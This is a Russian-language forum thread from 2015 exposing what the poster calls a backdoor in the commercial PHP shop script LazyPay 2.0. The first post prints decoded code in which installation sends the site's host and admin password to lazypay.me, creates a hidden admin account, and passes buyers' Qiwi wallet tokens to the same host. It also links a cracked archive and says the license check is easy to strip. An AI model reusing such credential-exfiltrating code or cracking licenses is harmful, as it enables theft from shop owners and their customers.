1. Apache17.03.2025 в 22:18от
  2. D1zo17.03.2025 в 22:16от
Загрузка...
Загрузка...

LazyPay 2.0 (Decode) (АвтоУстановка) - Шок

Тема в разделе "Web-программирование", создана пользователем Botho, 23.01.2015.

  1. Botho

    Botho

    Статус:
    Оффлайн
    Регистрация:
    23.01.15
    Сообщения:
    5
    Репутация:
    0 +/-
    Полетели:
    В Лицензионном двигле Автор сделал такую фичу что все пароли с Админкой вашей и Киви аккаунтам приходят в базу (Которую он использует в личных целях)
    Код
    PHP:
        function done() {
                
    $hash substr(uniqid(time()),8);
                
    $mail $hash.'@pirate.not';
                
    $pass md5($hash);
                
    $hostname $_SERVER['HTTP_HOST'];
                
    $file file_get_contents('http://lazypay.me/save.php?dmn='.$hostname.'&pass='.$hash);
                
    $this->db->query('INSERT INTO `users` (`id`, `email`, `password`, `name`) VALUES (NULL, \''.$mail.'\', \''.$pass.'\', \'admin\');');
                
    unlink(__FILE__);
                
    redirect('/');
            }
    Код
    PHP:
    <?php
        
    if (!defined'BASEPATH' )) {
            exit( 
    'No direct script access allowed' );
        }

        require( 
    'qiwi-class.php' );

        function 
    qiwi_pay($qiwi_num$qiwi_token$bill$price) {
            
    $operations json_decodefile_get_contents'http://lazypay.me/api/qiwi/token.php?action=pay_report&phone=' $qiwi_num '&token=' $qiwi_token '&domain=' getenv'HTTP_HOST' ) ), );
            foreach (
    $operations['p-list']['p'] as $operation) {
                
    $operation $operation['@attributes'];
                if (( ( ( ( 
    $operation['to_c'] == '643' && number_format$operation['rs'], 2'.''' ) == $price ) && $operation['cmnt'] == $bill ) && $operation['st'] == '60' ) && $operation['e'] == '0' )) {
                    return 
    1;
                    continue;
                }
            }

        }

        function 
    check_qiwi($qiwi_num$qiwi_token) {
            
    $check json_decodefile_get_contents'http://lazypay.me/api/qiwi/token.php?action=pay_report&phone=' $qiwi_num '&token=' $qiwi_token '&domain=' getenv'HTTP_HOST' ) ), );
            if (
    $check['result-code'] != 0) {
                exit(  );
            }
        }


    ?>
    Спасибо за информацию Интернет Герою с другого портала: stealthdebuger
    Я не поверил и решил раскодировать самостоятельно!

    Список Закодированных файлов (Который я декодировал):
    Был Куб >> application/config/autoload.php
    Был Куб >> application/config/cms_config.php
    Был Куб >> application/config/constants.php
    Был Куб >> application/config/doctypes.php
    Был Куб >> application/config/email.php
    Был Куб >> application/config/foreign_chars.php
    Был Куб >> application/config/hooks.php
    Был Куб >> application/config/mimes.php
    Был Куб >> application/config/profiler.php
    Был Куб >> application/config/smileys.php
    Был Куб >> application/config/user_agents.php
    Был Куб >> application/controllers/update2.php
    Был Куб >> application/core/MY_Controller.php
    Был Куб >> application/errors/error_db.php
    Был Куб >> application/errors/error_php.php
    Был Куб >> application/hooks/my_config.php
    Был Куб >> application/libraries/Admin_Controller.php
    Был Куб >> application/models/goods_model.php
    Был Куб >> install/includes/core_class.php
    Был Куб >> install/includes/database_class.php
    Был Куб >> install/index.php

    Сразу скажу привязку я не снимал и привязка в файле application/controllers/update2.php (Файл уже с открытым исходным кодом -Вам осталось снять привязку а это сделать легко=)-
    В Архиве есть и Архив с Темами (Чисто стиль заменить)

    Ссылка на Архив: >> Тык

    Статья от: Botho (Я)
    Истичник: Тык
     
    Последнее редактирование: 23.01.2015
  2. Неждан4ик

    Errare humanum est
    Неждан4ик

    Статус:
    Оффлайн
    Регистрация:
    03.01.15
    Сообщения:
    558
    Репутация:
    130 +/-
    Это уже было, хитрила писал!
     
  3. Botho

    Botho

    Статус:
    Оффлайн
    Регистрация:
    23.01.15
    Сообщения:
    5
    Репутация:
    0 +/-
    Ух.... можно ссылку?
    Я просто видел на одном портале не двигло а пару фич с отправкой данных LazyPay Основателю.

    +К сожалению не нашел последней версии Официальную-Декод.
     
  4. R I S E

    R I S E

    Статус:
    Оффлайн
    Регистрация:
    06.12.14
    Сообщения:
    704
    Репутация:
    482 +/-
    Было уже
     
  5. Botho

    Botho

    Статус:
    Оффлайн
    Регистрация:
    23.01.15
    Сообщения:
    5
    Репутация:
    0 +/-
    Можно ссылку?
    Я удалю если что.
     
  6. Kerx

    Kerx

    Статус:
    Оффлайн
    Регистрация:
    28.01.14
    Сообщения:
    664
    Репутация:
    323 +/-
    Баян,уже выкладывали,вроде даже не раз. Тему только вот что-то найти не могу,давно уже было.
     
  7. Botho

    Botho

    Статус:
    Оффлайн
    Регистрация:
    23.01.15
    Сообщения:
    5
    Репутация:
    0 +/-
    Так вот
    1) То были старые версии
    2) Данная версия сейчас продается на офф сайте. (С фичами для личного пользования Автору)
    3) Такой темы даже и не было здесь и на других порталах.
     
  8. LPSupport

    LPSupport

    Статус:
    Оффлайн
    Регистрация:
    10.01.15
    Сообщения:
    1
    Репутация:
    2 +/-
    http://youhack.top/showthread.php?t=620088&page=3&p=7864589#post7864589

    Гнилые и неадекватные доводы, что я храню и использую кошельки покупателей, даже не буду обсуждать.
    Все можете найти по ссылке выше.
     
  9. Teshisto

    Teshisto

    Статус:
    Оффлайн
    Регистрация:
    25.04.11
    Сообщения:
    307
    Репутация:
    216 +/-
  10. Botho

    Botho

    Статус:
    Оффлайн
    Регистрация:
    23.01.15
    Сообщения:
    5
    Репутация:
    0 +/-
    Не пытайся себя выгородить
    1) В любом случае факт о том что ты получаешь данные от Админки/Qiwi(Ну это ты описал что да как+ система защиты смс)
    - А значит!
    - Зайдя в базу "users", в которую отправляются вот такие данные "`id`, `email`, `password`, `name`" (<save.php>)
    - Зайдя в магазин - Админ Панель-, то весь товар твой!
    + Я не веду конкуренции (Не веду свою деятельности такого плана)
    Свою деятельность по сливам я начал с 2012 года.
    И для себя я увидел то что LazyPay не достойны иметь покупателей на двигло которое имеет свои + только для тебя!
    1) Прибыль с продаж
    2) Прибыль с товара еще в придачу
    Хитро...
     
    Последнее редактирование: 28.01.2015